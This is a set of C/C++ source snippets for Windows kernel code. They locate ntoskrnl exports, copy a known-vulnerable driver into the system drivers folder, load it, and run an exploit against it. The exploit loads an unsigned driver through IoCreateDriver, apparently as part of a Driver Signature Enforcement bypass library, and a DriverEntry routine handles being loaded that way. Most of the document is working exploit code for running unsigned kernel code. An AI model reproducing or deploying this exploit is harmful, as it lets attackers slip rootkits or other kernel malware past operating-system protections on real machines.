PVOID Undocumented::GetKernelBase() { PVOID base = GetNtoskrnlBase(); if (!base) base = KernelGetModuleBase("ntoskrnl"); if (!base) base = KernelGetModuleBase("ntkrnlmp"); if (!base) base = KernelGetModuleBase("ntkrnlpa"); if (!base) base = KernelGetModuleBase("ntkrpamp"); return base; }
PVOID GetKernelProcAddrEx(char *lpszModuleName, char *lpszProcName, BOOL bOffset) { PVOID Addr = NULL; // get kernel module address and file path char szModulePath[MAX_PATH]; PVOID ModuleBase = KernelGetModuleBase(lpszModuleName, szModulePath, MAX_PATH); if (ModuleBase) { // load kernel image as dynamic library HMODULE hModule = LoadLibraryExA(szModulePath, 0, DONT_RESOLVE_DLL_REFERENCES); if (hModule) { // get address of target function Addr = GetProcAddress(hModule, lpszProcName); if (Addr) { if (bOffset) { // calculate only function offsset Addr = (PVOID)((PUCHAR)Addr - (PUCHAR)hModule); } else { // calculate REAL address of this function Addr = (PVOID)((PUCHAR)Addr - (PUCHAR)hModule + (PUCHAR)ModuleBase); } } else { DbgMsg(__FILE__, __LINE__, "GetProcAddress() ERROR %d\n", GetLastError()); } FreeLibrary(hModule); } else { DbgMsg(__FILE__, __LINE__, "LoadLibraryEx() ERROR %d\n", GetLastError()); } } else { DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Unable to locate \"%s\" module\n", lpszModuleName); } return Addr; }
//-------------------------------------------------------------------------------------- bool kernel_expl_load_driver(void *data, unsigned int size) { bool ret = false; KERNEL_EXPL_CONTEXT context; context.Data = data; context.DataSize = size; context.Addr = NULL; context.Status = STATUS_UNSUCCESSFUL; if ((context.KernelBase = KernelGetModuleBase("ntoskrnl.exe")) == NULL) { DbgMsg(__FILE__, __LINE__, "ERROR: Unable to get kernel base\n"); goto end; } // get real address of nt!ExAllocatePool() if ((context.f_ExAllocatePool = (func_ExAllocatePool)KernelGetProcAddr("ExAllocatePool")) == NULL) { DbgMsg(__FILE__, __LINE__, "ERROR: Can't find address of nt!ExAllocatePool()\n"); goto end; } // get real address of nt!ExFreePoolWithTag() if ((context.f_ExFreePoolWithTag = (func_ExFreePoolWithTag)KernelGetProcAddr("ExFreePoolWithTag")) == NULL) { DbgMsg(__FILE__, __LINE__, "ERROR: Can't find address of nt!ExFreePoolWithTag()\n"); goto end; } // get real address of nt!IoCreateDriver() if ((context.f_IoCreateDriver = (func_IoCreateDriver)KernelGetProcAddr("IoCreateDriver")) == NULL) { DbgMsg(__FILE__, __LINE__, "ERROR: Can't find address of nt!IoCreateDriver()\n"); goto end; } char szDestPath[MAX_PATH]; GetSystemDirectory(szDestPath, sizeof(szDestPath)); lstrcat(szDestPath, "\\drivers\\" VULN_DRIVER_FILE_NAME); // copy vulnerable driver to the system directory if (CopyFile(VULN_DRIVER_FILE_NAME, szDestPath, FALSE)) { // run vulnerable driver BOOL bUnload = InfLoadDriver(VULN_SERVICE_NAME, szDestPath); // run exploit expl_SNCC0_Sys_220010(kernel_expl_handler, &context); if (bUnload) { InfUnloadDriver(VULN_SERVICE_NAME); } DeleteFile(szDestPath); } else { DbgMsg(__FILE__, __LINE__, "CopyFile() ERROR %d\n", GetLastError()); } // check for successful result if (ret = NT_SUCCESS(context.Status)) { DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Driver loaded at "IFMT"\n", context.Addr); } else { DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't load driver\n"); } end: return ret; }
//-------------------------------------------------------------------------------------- NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { #ifdef USE_DSE_BYPASS // check if driver image was loaded by DSE bypass exploit if (RegistryPath == NULL && m_Driver) { if (GetKernelBase() == NULL) { return STATUS_UNSUCCESSFUL; } /* IMPORTANT: Here we need to process our own import table because image was loaded using libdsebypass instead of kernel PE loader. */ if (!RuntimeProcessImports(m_Driver)) { return STATUS_UNSUCCESSFUL; } // ok, now it's safe to use imported functions as usual } else #endif // USE_DSE_BYPASS { DriverObject->DriverUnload = DriverUnload; } DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Driver loaded\n"); PVOID KernelBase = KernelGetModuleBase("ntoskrnl.exe"); if (KernelBase) { if (f_MmGetPhysicalMemoryRanges = (func_MmGetPhysicalMemoryRanges) KernelGetExportAddress(KernelBase, "MmGetPhysicalMemoryRanges")) { DbgMsg( __FILE__, __LINE__, "nt!MmGetPhysicalMemoryRanges() is at "IFMT"\n", f_MmGetPhysicalMemoryRanges ); } } RtlInitUnicodeString(&m_usDeviceName, L"\\Device\\" DEVICE_NAME); RtlInitUnicodeString(&m_usDosDeviceName, L"\\DosDevices\\" DEVICE_NAME); // create driver communication device NTSTATUS ns = IoCreateDevice( DriverObject, 0, &m_usDeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &m_DeviceObject ); if (NT_SUCCESS(ns)) { for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = DriverDispatch; } #ifdef USE_DSE_BYPASS /* This flag must be removed when the driver has been loaded by our own loader that using nt!IoCreateDriver(). */ m_DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; #endif ns = IoCreateSymbolicLink(&m_usDosDeviceName, &m_usDeviceName); if (NT_SUCCESS(ns)) { return STATUS_SUCCESS; } else { DbgMsg(__FILE__, __LINE__, "IoCreateSymbolicLink() fails: 0x%.8x\n", ns); } IoDeleteDevice(m_DeviceObject); } else { DbgMsg(__FILE__, __LINE__, "IoCreateDevice() fails: 0x%.8x\n", ns); } return STATUS_UNSUCCESSFUL; }